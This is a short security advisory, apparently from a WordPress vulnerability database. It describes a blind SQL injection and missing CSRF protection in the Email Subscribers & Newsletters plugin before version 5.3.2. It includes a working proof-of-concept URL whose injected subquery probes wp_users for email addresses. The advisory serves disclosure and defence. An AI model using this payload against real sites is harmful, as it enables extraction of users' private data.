WordPress Plugin Vulnerabilities
Email Subscribers & Newsletters < 5.3.2 - Subscriber+ Blind SQL injection
Description
The plugin does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.
Proof of Concept
http://127.0.0.1:8001/wp-admin/admin-ajax.php?action=ajax_fetch_report_list&order=,%20(select%201%20from%20wp_users%20where%20user_email%20like%200x6725%20union%20select%202)%20--%20g This will return an error result if there is an e-mail starting with g in the database.
